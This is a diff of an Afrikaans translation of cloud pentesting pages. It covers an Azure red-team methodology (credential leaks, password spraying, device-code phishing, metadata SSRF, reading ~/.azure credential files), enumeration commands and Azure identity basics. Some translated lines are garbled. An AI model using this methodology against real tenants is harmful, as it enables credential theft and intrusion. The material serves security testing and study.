AWS-rekening is: ```python s3_client.put_bucket_acl( Bucket=bucket_name, diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index fc9ef53c7..13ca3373f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SNS Unauthenticated Enum +# AWS - SNS Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index 2c7a3d634..4ed9c5960 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SQS Unauthenticated Enum +# AWS - SQS Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 01cc8a3fa..8f3d780ad 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -8,16 +8,16 @@ az-basic-information/ {{#endref}} -## Azure Pentester/Red Team Metodologie +## Azure Pentester/Rooi Span Metodologie Om 'n AZURE omgewing te oudit, is dit baie belangrik om te weet: watter **dienste gebruik word**, wat is **blootgestel**, wie het **toegang** tot wat, en hoe is interne Azure dienste en **eksterne dienste** gekoppel. -Vanuit 'n Red Team perspektief, is die **eerste stap om 'n Azure omgewing te kompromitteer** om daarin te slaag om 'n paar **bewyse** vir Azure AD te verkry. Hier is 'n paar idees oor hoe om dit te doen: +Vanuit 'n Rooi Span perspektief is die **eerste stap om 'n Azure omgewing te kompromitteer** om te slaag om 'n paar **bewyse** vir Azure AD te verkry. Hier is 'n paar idees oor hoe om dit te doen: - **Lekke** in github (of soortgelyk) - OSINT - **Sosiale** Ingenieurswese - **Wagwoord** hergebruik (wagwoordlekke) -- Kwesbaarhede in Azure-gehoste toepassings +- Kw vulnerabilities in Azure-gehuisvesde toepassings - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) met toegang tot metadata-eindpunt - **Plaaslike Lêer Lees** - `/home/USERNAME/.azure` @@ -33,7 +33,7 @@ Gebruik `Disconnect-AzAccount` om hulle te verwyder. - [Toestelkode Verifikasie Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Wagwoord Spuit**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Selfs as jy **nie enige gebruiker** binne die Azure tenant wat jy aanval, gecompromitteer het nie, kan jy **'n paar inligting** daaruit versamel: +Selfs as jy **nie enige gebruiker** binne die Azure huurkontrak wat jy aanval, gecompromitteer het nie, kan jy **'n paar inligting** daaruit versamel: {{#ref}} az-unauthenticated-enum-and-initial-entry/ @@ -59,12 +59,12 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
-In gevalle waar jy 'n paar geldige bewese het maar jy kan nie inlog nie, is dit 'n paar algemene beskermings wat in plek kan wees: +In gevalle waar jy 'n paar geldige bewese het, maar jy kan nie inlog nie, is dit 'n paar algemene beskermings wat in plek kan wees: - **IP witlys** -- Jy moet 'n geldige IP kompromitteer - **Geo beperkings** -- Vind waar die gebruiker woon of waar die kantore van die maatskappy is en kry 'n IP van dieselfde stad (of land ten minste) - **Blaaier** -- Miskien is slegs 'n blaaier van sekere OS (Windows, Linux, Mac, Android, iOS) toegelaat. Vind uit watter OS die slagoffer/maatskappy gebruik. -- Jy kan ook probeer om **Service Principal bewese** te kompromitteer aangesien hulle gewoonlik minder beperk is en hul inlog minder nagegaan word. +- Jy kan ook probeer om **Service Principal bewese** te kompromitteer, aangesien hulle gewoonlik minder beperk is en hul inlog minder nagegaan word. Nadat jy dit omseil het, mag jy in staat wees om terug te keer na jou aanvanklike opstelling en jy sal steeds toegang hê. @@ -75,7 +75,7 @@ Nadat jy dit omseil het, mag jy in staat wees om terug te keer na jou aanvanklik ### Whoami > [!CAUTION] -> Leer **hoe om** az cli, AzureAD en Az PowerShell in die [**Az - Entra ID**](az-services/az-azuread.md) afdeling te installeer. +> Leer **hoe om** az cli, AzureAD en Az PowerShell te installeer in die [**Az - Entra ID**](az-services/az-azuread.md) afdeling. Een van die eerste dinge wat jy moet weet is **wie jy is** (in watter omgewing jy is): @@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Een van die belangrikste opdragte om Azure te enumerate is **`Get-AzResource`** van Az PowerShell, aangesien dit jou **inligting gee oor die hulpbronne wat jou huidige gebruiker kan sien**. +> Een van die belangrikste opdragte om Azure te evalueer is **`Get-AzResource`** van Az PowerShell, aangesien dit jou **inligting gee oor die hulpbronne wat jou huidige gebruiker kan sien**. > -> Jy kan dieselfde inligting in die **webkonsol** kry deur na [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) te gaan of te soek na "Alle hulpbronne" +> Jy kan dieselfde inligting in die **webkonsole** kry deur na [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) te gaan of te soek na "Alle hulpbronne" -### ENtra ID Enumeration +### ENtra ID Evalueer -Standaard behoort enige gebruiker **voldoende regte te hê om** dinge soos gebruikers, groepe, rolle, diensprincipals... te enumerate (kyk [standaard AzureAD regte](az-basic-information/#default-user-permissions)).\ +Standaard behoort enige gebruiker **voldoende regte te hê om** dinge soos gebruikers, groepe, rolle, diensprincipals... te evalueer (kyk [standaard AzureAD regte](az-basic-information/#default-user-permissions)).\ Jy kan hier 'n gids vind: {{#ref}} @@ -134,8 +134,8 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> Nou dat jy **'n bietjie inligting oor jou akrediteerings het** (en as jy 'n rooi span is, hoop ek jy **is nie opgespoor nie**). Dit is tyd om uit te vind watter dienste in die omgewing gebruik word.\ -> In die volgende afdeling kan jy 'n paar maniere kyk om **'n paar algemene dienste te enumerate.** +> Nou dat jy **'n bietjie inligting oor jou akrediteer** het (en as jy 'n rooi span is, hoop ek jy **is nie opgespoor nie**). Dit is tyd om uit te vind watter dienste in die omgewing gebruik word.\ +> In die volgende afdeling kan jy 'n paar maniere kyk om **'n paar algemene dienste te evalueer.** ## App Service SCM @@ -155,7 +155,7 @@ Deur die parameter **`--debug`** te gebruik, is dit moontlik om al die versoeke ```bash az account management-group list --output table --debug ``` -Om 'n **MitM** na die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy doen: +Om 'n **MitM** na die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy doen: {{#tabs }} {{#tab name="Bash" }} @@ -183,7 +183,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" {{#endtab }} {{#endtabs }} -## Geoutomatiseerde Verkenning Gereedskap +## Geoutomatiseerde Recon Gereedskap ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) ```powershell diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index 20709f347..b4102d9ae 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -6,29 +6,29 @@

https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

-### Bestuursgroepe +### Bestuur Groepe -- Dit kan **ander bestuursgroepe of subskripsies** bevat. -- Dit maak dit moontlik om **governance beheer** soos RBAC en Azure-beleid een keer op die bestuursgroepvlak toe te pas en dit **geërf** te laat word deur al die subskripsies in die groep. -- **10,000 bestuurs** groepe kan in 'n enkele gids ondersteun word. -- 'n Bestuursgroepboom kan **tot ses vlakke diepte** ondersteun. Hierdie limiet sluit nie die wortelvlak of die subskripsievlak in nie. -- Elke bestuursgroep en subskripsie kan **slegs een ouer** ondersteun. -- Alhoewel verskeie bestuursgroepe geskep kan word, is daar **slegs 1 wortel bestuursgroep**. -- Die wortel bestuursgroep **bevat** al die **ander bestuursgroepe en subskripsies** en **kan nie verskuif of verwyder** word nie. -- Alle subskripsies binne 'n enkele bestuursgroep moet die **dieselfde Entra ID huur** vertrou. +- Dit kan **ander bestuur groepe of subskripsies** bevat. +- Dit stel in staat om **governance beheer** soos RBAC en Azure-beleid een keer op die bestuur groep vlak toe te pas en dit **geërf** te laat word deur al die subskripsies in die groep. +- **10,000 bestuur** groepe kan in 'n enkele gids ondersteun word. +- 'n Bestuur groep boom kan **tot ses vlakke diepte** ondersteun. Hierdie limiet sluit nie die wortelvlak of die subskripsie vlak in nie. +- Elke bestuur groep en subskripsie kan **slegs een ouer** ondersteun. +- Alhoewel verskeie bestuur groepe geskep kan word, is daar **slegs 1 wortel bestuur groep**. +- Die wortel bestuur groep **bevat** al die **ander bestuur groepe en subskripsies** en **kan nie verskuif of verwyder** word nie. +- Alle subskripsies binne 'n enkele bestuur groep moet die **dieselfde Entra ID tenant** vertrou.

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

### Azure Subskripsies -- Dit is 'n ander **logiese houer waar hulpbronne** (VM's, DB's…) gedra kan word en gefaktureer sal word. -- Sy **ouer** is altyd 'n **bestuursgroep** (en dit kan die wortel bestuursgroep wees) aangesien subskripsies nie ander subskripsies kan bevat nie. +- Dit is 'n ander **logiese houer waar hulpbronne** (VMs, DBs…) gedra kan word en gefaktureer sal word. +- Sy **ouer** is altyd 'n **bestuur groep** (en dit kan die wortel bestuur groep wees) aangesien subskripsies nie ander subskripsies kan bevat nie. - Dit **vertrou slegs een Entra ID** gids -- **Toestemmings** wat op die subskripsievlak (of enige van sy ouers) toegepas word, word **geërf** na al die hulpbronne binne die subskripsie +- **Toestemmings** wat op die subskripsie vlak toegepas word (of enige van sy ouers) word **geërf** na al die hulpbronne binne die subskripsie ### Hulpbron Groepe -[Van die dokumentasie:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) 'n Hulpbron groep is 'n **houer** wat **verwante hulpbronne** vir 'n Azure-oplossing bevat. Die hulpbron groep kan al die hulpbronne vir die oplossing insluit, of slegs daardie **hulpbronne wat jy as 'n groep wil bestuur**. Oor die algemeen, voeg **hulpbronne** wat die **selfde lewensiklus** deel by die selfde hulpbron groep sodat jy dit maklik kan ontplooi, opdateer, en verwyder as 'n groep. +[Van die dokumentasie:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) 'n Hulpbron groep is 'n **houer** wat **verwante hulpbronne** vir 'n Azure oplossing bevat. Die hulpbron groep kan al die hulpbronne vir die oplossing insluit, of slegs daardie **hulpbronne wat jy as 'n groep wil bestuur**. Oor die algemeen, voeg **hulpbronne** wat die **selfde lewensiklus** deel by die selfde hulpbron groep sodat jy dit maklik kan ontplooi, opdateer, en verwyder as 'n groep. Alle **hulpbronne** moet **binne 'n hulpbron groep** wees en kan slegs aan een groep behoort, en as 'n hulpbron groep verwyder word, word al die hulpbronne daarin ook verwyder. @@ -58,20 +58,20 @@ Entra ID is 'n wolk-gebaseerde **identiteit en toegang bestuur diens** wat ontwe ### Entra Domein Dienste (voorheen Azure AD DS) -Entra Domein Dienste brei die vermoëns van Entra ID uit deur **bestuurde domein dienste aan te bied wat versoenbaar is met tradisionele Windows Aktiewe Gids omgewings**. Dit ondersteun ouer protokolle soos LDAP, Kerberos, en NTLM, wat organisasies in staat stel om ouer toepassings in die wolk te migreer of te laat loop sonder om plaaslike domein kontrollers te ontplooi. Hierdie diens ondersteun ook Groep Beleid vir gesentraliseerde bestuur, wat dit geskik maak vir scenario's waar ouer of AD-gebaseerde werklas saam met moderne wolkomgewings moet bestaan. +Entra Domein Dienste brei die vermoëns van Entra ID uit deur **bestuurde domein dienste aan te bied wat versoenbaar is met tradisionele Windows Aktiewe Gids omgewings**. Dit ondersteun ou protokolle soos LDAP, Kerberos, en NTLM, wat organisasies in staat stel om ou toepassings in die wolk te migreer of te laat loop sonder om plaaslike domein kontrollers te ontplooi. Hierdie diens ondersteun ook Groep Beleid vir gesentraliseerde bestuur, wat dit geskik maak vir scenario's waar ou of AD-gebaseerde werklas saam met moderne wolkomgewings moet bestaan. ## Entra ID Principals ### Gebruikers - **Nuwe gebruikers** -- Dui e-pos naam en domein van die geselekteerde huur aan -- Dui Vertoonnaam aan +- Dui e-pos naam en domein van die geselekteerde tenant aan +- Dui Vertoon naam aan - Dui wagwoord aan -- Dui eienskappe aan (voornaam, posbeskrywing, kontakbesonderhede…) +- Dui eienskappe aan (voornaam, posbeskrywing, kontak inligting…) - Standaard gebruiker tipe is “**lid**” - **Buitelandse gebruikers** -- Dui e-pos aan om uit te nooi en vertoonnaam (kan 'n nie-Microsoft e-pos wees) +- Dui e-pos aan om uit te nooi en vertoon naam (kan 'n nie-Microsoft e-pos wees) - Dui eienskappe aan - Standaard gebruiker tipe is “**Gaste**” @@ -79,44 +79,44 @@ Entra Domein Dienste brei die vermoëns van Entra ID uit deur **bestuurde domein Jy kan dit nagaan in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) maar onder andere aksies sal 'n lid in staat wees om: -- Lees alle gebruikers, Groepe, Toepassings, Toestelle, Rolle, Subskripsies, en hul publieke eienskappe -- Nooi Gaste (_kan afgeskakel word_) -- Skep Sekuriteitsgroepe -- Lees nie-verborgene Groep lidmaatskappe -- Voeg gaste by Besit groepe -- Skep nuwe toepassing (_kan afgeskakel word_) -- Voeg tot 50 toestelle by Azure (_kan afgeskakel word_) +- Alle gebruikers, Groepe, Toepassings, Toestelle, Rolle, Subskripsies, en hul openbare eienskappe te lees +- Gaste uit te nooi (_kan afgeskakel word_) +- Sekuriteitsgroepe te skep +- Nie-verborgen Groep lidmaatskappe te lees +- Gaste by Besit groepe te voeg +- Nuwe toepassing te skep (_kan afgeskakel word_) +- Tot 50 toestelle aan Azure toe te voeg (_kan afgeskakel word_) > [!NOTE] -> Onthou dat om Azure hulpbronne te tel, die gebruiker 'n eksplisiete toekenning van die toestemming benodig. +> Onthou dat om Azure hulpbronne te enumerate, die gebruiker 'n eksplisiete toekenning van die toestemming benodig. ### Gebruikers Standaard Konfigureerbare Toestemmings -- **Lede (**[**dokumente**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- **Lede (**[**dokumentasie**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - Registreer Toepassings: Standaard **Ja** -- Beperk nie-admin gebruikers van die skep van huurders: Standaard **Nee** +- Beperk nie-admin gebruikers van die skep van tenants: Standaard **Nee** - Skep sekuriteitsgroepe: Standaard **Ja** - Beperk toegang tot Microsoft Entra administrasie portaal: Standaard **Nee** - Dit beperk nie API toegang tot die portaal nie (slegs web) - Laat gebruikers toe om werk of skool rekening met LinkedIn te verbind: Standaard **Ja** - Toon hou gebruiker ingelog: Standaard **Ja** -- Beperk gebruikers van die herstel van die BitLocker sleutel(s) vir hul besit toestelle: Standaard Nee (kyk in Toestel Instellings) +- Beperk gebruikers van die herstel van die BitLocker sleutel(s) vir hul besit toestelle: Standaard Nee (nagaan in Toestel Instellings) - Lees ander gebruikers: Standaard **Ja** (deur Microsoft Graph) - **Gaste** - **Gaste gebruiker toegang beperkings** -- **Gaste gebruikers het dieselfde toegang as lede** gee alle lid gebruiker toestemmings aan gaste gebruikers per standaard. -- **Gaste gebruikers het beperkte toegang tot eienskappe en lidmaatskappe van gids objekte (standaard)** beperk gaste toegang tot slegs hul eie gebruikersprofiel per standaard. Toegang tot ander gebruikers en groep inligting is nie meer toegelaat nie. +- **Gaste gebruikers het dieselfde toegang as lede** gee alle lid gebruiker toestemmings aan gaste gebruikers standaard. +- **Gaste gebruikers het beperkte toegang tot eienskappe en lidmaatskappe van gids objekte (standaard)** beperk gaste toegang tot slegs hul eie gebruikersprofiel standaard. Toegang tot ander gebruikers en groep inligting is nie meer toegelaat nie. - **Gaste gebruiker toegang is beperk tot eienskappe en lidmaatskappe van hul eie gids objekte** is die mees beperkende een. -- **Gaste kan nooi** -- **Enige iemand in die organisasie kan gaste gebruikers nooi insluitend gaste en nie-admins (mees inklusief) - Standaard** -- **Lid gebruikers en gebruikers wat aan spesifieke admin rolle toegeken is kan gaste gebruikers nooi insluitend gaste met lid toestemmings** -- **Slegs gebruikers wat aan spesifieke admin rolle toegeken is kan gaste gebruikers nooi** -- **Niemand in die organisasie kan gaste gebruikers nooi insluitend admins (mees beperkende)** +- **Gaste kan uitnooi** +- **Enige iemand in die organisasie kan gaste gebruikers uitnooi insluitend gaste en nie-admins (mees inklusief) - Standaard** +- **Lid gebruikers en gebruikers wat aan spesifieke admin rolle toegeken is kan gaste gebruikers uitnooi insluitend gaste met lid toestemmings** +- **Slegs gebruikers wat aan spesifieke admin rolle toegeken is kan gaste gebruikers uitnooi** +- **Niemand in die organisasie kan gaste gebruikers uitnooi insluitend admins (mees beperkende)** - **Buitelandse gebruiker verlaat**: Standaard **Waar** - Laat buitelandse gebruikers toe om die organisasie te verlaat > [!TIP] -> Alhoewel dit per standaard beperk is, kan gebruikers (lede en gaste) met toegekenne toestemmings die vorige aksies uitvoer. +> Alhoewel dit standaard beperk is, kan gebruikers (lede en gaste) met toegekenne toestemmings die vorige aksies uitvoer. ### **Groepe** @@ -124,35 +124,35 @@ Daar is **2 tipes groepe**: - **Sekuriteit**: Hierdie tipe groep word gebruik om lede toegang te gee tot toepassings, hulpbronne en om lisensies toe te ken. Gebruikers, toestelle, diens prinsipale en ander groepe kan lede wees. - **Microsoft 365**: Hierdie tipe groep word gebruik vir samewerking, wat lede toegang gee tot 'n gedeelde posbus, kalender, lêers, SharePoint webwerf, ensovoorts. Groep lede kan slegs gebruikers wees. -- Dit sal 'n **e-pos adres** hê met die domein van die EntraID huur. +- Dit sal 'n **e-pos adres** hê met die domein van die EntraID tenant. Daar is **2 tipes lidmaatskappe**: -- **Toegeken**: Laat toe om spesifieke lede handmatig aan 'n groep toe te voeg. -- **Dinamiese lidmaatskap**: Bestuur lidmaatskap outomaties met behulp van reëls, wat die groep insluiting opdateer wanneer lede se eienskappe verander. +- **Toegewyse**: Laat toe om spesifieke lede handmatig aan 'n groep toe te voeg. +- **Dinamiese lidmaatskap**: Bestuur lidmaatskap outomaties met behulp van reëls, wat groep insluiting opdateer wanneer lede eienskappe verander. ### **Diens Prinsipale** -'n **Diens Prinsipaal** is 'n **identiteit** geskep vir **gebruik** met **toepassings**, gehoste dienste, en geoutomatiseerde gereedskap om toegang tot Azure hulpbronne te verkry. Hierdie toegang is **beperk deur die rolle wat aan die diens prinsipaal toegeken is**, wat jou beheer gee oor **watter hulpbronne toegang verkry** en op watter vlak. Om veiligheidsredes, word dit altyd aanbeveel om **diens prinsipale met geoutomatiseerde gereedskap te gebruik** eerder as om hulle toe te laat om met 'n gebruikersidentiteit aan te meld. +'n **Diens Prinsipaal** is 'n **identiteit** geskep vir **gebruik** met **toepassings**, gehoste dienste, en geoutomatiseerde gereedskap om toegang tot Azure hulpbronne te verkry. Hierdie toegang is **beperk deur die rolle wat aan die diens prinsipaal toegeken is**, wat jou beheer gee oor **watter hulpbronne toegang verkry kan word** en op watter vlak. Om veiligheidsredes, word dit altyd aanbeveel om **diens prinsipale met geoutomatiseerde gereedskap te gebruik** eerder as om hulle toe te laat om met 'n gebruikersidentiteit aan te meld. Dit is moontlik om **direk as 'n diens prinsipaal aan te meld** deur 'n **geheim** (wagwoord), 'n **sertifikaat**, of deur **federale** toegang aan derdeparty platforms (bv. Github Actions) oor dit te verleen. -- As jy **wagwoord** autentisering kies (per standaard), **stoor die gegenereerde wagwoord** aangesien jy dit nie weer kan toegang nie. +- As jy **wagwoord** autentisering kies (standaard), **stoor die gegenereerde wagwoord** aangesien jy dit nie weer kan toegang nie. - As jy sertifikaat autentisering kies, maak seker dat die **toepassing toegang sal hê oor die private sleutel**. ### App Registrasies 'n **App Registrasie** is 'n konfigurasie wat 'n toepassing toelaat om met Entra ID te integreer en aksies uit te voer. -#### Sleutel Komponente: +#### Sleuteldelers: 1. **Toepassing ID (Kliënt ID):** 'n Unieke identifiseerder vir jou app in Azure AD. 2. **Herlei URIs:** URL's waar Azure AD autentisering antwoorde stuur. 3. **Sertifikate, Geheimen & Federale Kredite:** Dit is moontlik om 'n geheim of 'n sertifikaat te genereer om as die diens prinsipaal van die toepassing aan te meld, of om federale toegang aan dit te verleen (bv. Github Actions). -1. As 'n **sertifikaat** of **geheim** gegenereer word, is dit moontlik vir 'n persoon om **as die diens prinsipaal** met CLI gereedskap aan te meld deur die **toepassing ID**, die **geheim** of **sertifikaat** en die **huur** (domein of ID) te ken. -4. **API Toestemmings:** Spesifiseer watter hulpbronne of API's die app kan toegang. +1. As 'n **sertifikaat** of **geheim** gegenereer word, is dit moontlik vir 'n persoon om **as die diens prinsipaal** met CLI gereedskap aan te meld deur die **toepassing ID**, die **geheim** of **sertifikaat** en die **tenant** (domein of ID) te ken. +4. **API Toestemmings:** Spesifiseer watter hulpbronne of API's die app toegang kan verkry. 5. **Autentisering Instellings:** Definieer die app se ondersteunde autentisering vloei (bv., OAuth2, OpenID Connect). -6. **Diens Prinsipaal**: 'n diens prinsipaal word geskep wanneer 'n App geskep word (as dit vanaf die webkonsol gedoen word) of wanneer dit in 'n nuwe huur geïnstalleer word. +6. **Diens Prinsipaal**: 'n diens prinsipaal word geskep wanneer 'n App geskep word (as dit vanaf die webkonsol gedoen word) of wanneer dit in 'n nuwe tenant geïnstalleer word. 1. Die **diens prinsipaal** sal al die gevraagde toestemmings wat dit geconfigureer is, ontvang. ### Standaard Toestemming Toestemmings @@ -180,20 +180,20 @@ Dit is moontlik om **direk as 'n diens prinsipaal aan te meld** deur 'n **geheim ### **Bestuurde Identiteit (Metadata)** -Bestuurde identiteite in Azure Aktiewe Gids bied 'n oplossing vir **outomatiese bestuur van die identiteit** van toepassings. Hierdie identiteite word deur toepassings gebruik om te **verbinde** met **hulpbronne** wat versoenbaar is met Azure Aktiewe Gids (**Azure AD**) autentisering. Dit maak dit moontlik om **die behoefte aan hardkoding van wolk akrediteer** in die kode te verwyder aangesien die toepassing in staat sal wees om die **metadata** diens te kontak om 'n geldige token te **verrig** as die aangeduide bestuurde identiteit in Azure. +Bestuurde identiteite in Azure Aktiewe Gids bied 'n oplossing vir **outomatiese bestuur van die identiteit** van toepassings. Hierdie identiteite word deur toepassings gebruik met die doel om **verbinding te maak** met **hulpbronne** wat versoenbaar is met Azure Aktiewe Gids (**Azure AD**) autentisering. Dit stel in staat om die behoefte aan hardkoding van wolk kredensiale in die kode te **verwyder** aangesien die toepassing in staat sal wees om die **metadata** diens te kontak om 'n geldige token te **verkry** om aksies uit te voer as die aangeduide bestuurde identiteit in Azure. Daar is twee tipes bestuurde identiteite: -- **Stelsel-toegeken**. Sommige Azure dienste laat jou toe om 'n **bestuurde identiteit direk op 'n diens instansie** in te skakel. Wanneer jy 'n stelsel-toegeken bestuurde identiteit inskakel, word 'n **diens prinsipaal** geskep in die Entra ID huur wat deur die subskripsie vertrou word waar die hulpbron geleë is. Wanneer die **hulpbron** verwyder word, verwyder Azure outomaties die **identiteit** vir jou. -- **Gebruiker-toegeken**. Dit is ook moontlik vir gebruikers om bestuurde identiteite te genereer. Hierdie word binne 'n hulpbron groep binne 'n subskripsie geskep en 'n diens prinsipaal sal in die EntraID geskep word wat deur die subskripsie vertrou word. Dan kan jy die bestuurde identiteit aan een of **meer instansies** van 'n Azure diens toeken. Vir gebruiker-toegeken bestuurde identiteite, word die **identiteit apart bestuur van die hulpbronne wat dit gebruik**. +- **Stelsel-toegewyse**. Sommige Azure dienste laat jou toe om 'n **bestuurde identiteit direk op 'n diens instansie** in te skakel. Wanneer jy 'n stelsel-toegewyse bestuurde identiteit inskakel, word 'n **diens prinsipaal** geskep in die Entra ID tenant wat deur die subskripsie vertrou word waar die hulpbron geleë is. Wanneer die **hulpbron** verwyder word, verwyder Azure outomaties die **identiteit** vir jou. +- **Gebruiker-toegewyse**. Dit is ook moontlik vir gebruikers om bestuurde identiteite te genereer. Hierdie word binne 'n hulpbron groep binne 'n subskripsie geskep en 'n diens prinsipaal sal in die EntraID geskep word wat deur die subskripsie vertrou word. Dan kan jy die bestuurde identiteit aan een of **meer instansies** van 'n Azure diens toewys (meerdere hulpbronne). Vir gebruiker-toegewyse bestuurde identiteite, word die **identiteit apart bestuur van die hulpbronne wat dit gebruik**. -Bestuurde Identiteite **genereer nie ewige akrediteer** (soos wagwoorde of sertifikate) om toegang te verkry as die diens prinsipaal wat aan dit geheg is. +Bestuurde Identiteite **genereer nie ewige kredensiale** (soos wagwoorde of sertifikate) om toegang te verkry as die diens prinsipaal wat aan dit geheg is. -### Enterprise Toepassings +### Onderneming Toepassings Dit is net 'n **tafel in Azure om diens prinsipale te filter** en die toepassings wat aan hulle toegeken is, te kontroleer. -**Dit is nie 'n ander tipe "toepassing" nie,** daar is geen objek in Azure wat 'n "Enterprise Toepassing" is nie, dit is net 'n abstraksie om die Diens prinsipale, App registrasies en bestuurde identiteite te kontroleer. +**Dit is nie 'n ander tipe "toepassing" nie,** daar is nie enige objek in Azure wat 'n "Onderneming Toepassing" is nie, dit is net 'n abstraksie om die Diens prinsipale, App registrasies en bestuurde identiteite te kontroleer. ### Administratiewe Eenhede @@ -204,7 +204,7 @@ Voorbeeld: - Scenario: 'n Maatskappy wil regionale IT admins toelaat om slegs die gebruikers in hul eie streek te bestuur. - Implementering: - Skep Administratiewe Eenhede vir elke streek (bv., "Noord-Amerika AU", "Europa AU"). -- Vul AU's met gebruikers uit hul onderskeie streke. +- Vul AU's met gebruikers van hul onderskeie streke. - AU's kan **gebruikers, groepe, of toestelle** bevat - AU's ondersteun **dinamiese lidmaatskappe** - AU's **kan nie AU's bevat nie** @@ -221,31 +221,31 @@ Voorbeeld: ## Rolle & Toestemmings -**Rolle** word **toegeken** aan **prinsipale** op 'n **skaal**: `prinsipaal -[HEE ROLE]->(skaal)` +**Rolle** word **toegeken** aan **prinsipale** op 'n **skaal**: `principal -[HAS ROLE]->(scope)` **Rolle** wat aan **groepe** toegeken word, word **geërf** deur al die **lede** van die groep. -Afhangende van die skaal waaraan die rol toegeken is, kan die **rol** **geërf** word na **ander hulpbronne** binne die skaal houer. Byvoorbeeld, as 'n gebruiker A 'n **rol op die subskripsie** het, sal hy daardie **rol op al die hulpbron groepe** binne die subskripsie hê en op **al die hulpbronne** binne die hulpbron groep. +Afhangende van die skaal waaraan die rol toegeken is, kan die **rol** **geërf** word na **ander hulpbronne** binne die skaal houer. Byvoorbeeld, as 'n gebruiker A 'n **rol op die subskripsie** het, sal hy daardie **rol op al die hulpbron groepe** binne die subskripsie hê en op **alle hulpbronne** binne die hulpbron groep. ### **Klassieke Rolle** -| **Eienaar** |
  • Volledige toegang tot alle hulpbronne
  • Kan toegang vir ander gebruikers bestuur
| Alle hulpbron tipes | -| ------------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Bydraer** |
  • Volledige toegang tot alle hulpbronne
  • Kan nie toegang bestuur nie
| Alle hulpbron tipes | -| **Leser** | • Sien alle hulpbronne | Alle hulpbron tipes | -| **Gebruiker Toegang Administrateur** |
  • Sien alle hulpbronne
  • Kan toegang vir ander gebruikers bestuur
| Alle hulpbron tipes | +| **Eienaar** |
  • Volle toegang tot alle hulpbronne
  • Kan toegang vir ander gebruikers bestuur
| Alle hulpbron tipes | +| ------------------------------- | ------------------------------------------------------------------------------------------ | ------------------ | +| **Bydraer** |
  • Volle toegang tot alle hulpbronne
  • Kan nie toegang bestuur nie
| Alle hulpbron tipes | +| **Leser** | • Sien alle hulpbronne | Alle hulpbron tipes | +| **Gebruiker Toegang Administrateur** |
  • Sien alle hulpbronne
  • Kan toegang vir ander gebruikers bestuur
| Alle hulpbron tipes | ### Gebou-in rolle -[Van die dokumentasie: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure rol-gebaseerde toegangbeheer (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) het verskeie Azure **gebou-in rolle** wat jy kan **toeken** aan **gebruikers, groepe, diens prinsipale, en bestuurde identiteite**. Rol toekennings is die manier waarop jy **toegang tot Azure hulpbronne** beheer. As die gebou-in rolle nie aan die spesifieke behoeftes van jou organisasie voldoen nie, kan jy jou eie [**Azure pasgemaakte rolle**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[Van die dokumentasie: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure rol-gebaseerde toegangbeheer (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) het verskeie Azure **gebou-in rolle** wat jy kan **toekenn** aan **gebruikers, groepe, diens prinsipale, en bestuurde identiteite**. Rol toekennings is die manier waarop jy **toegang tot Azure hulpbronne** beheer. As die gebou-in rolle nie aan die spesifieke behoeftes van jou organisasie voldoen nie, 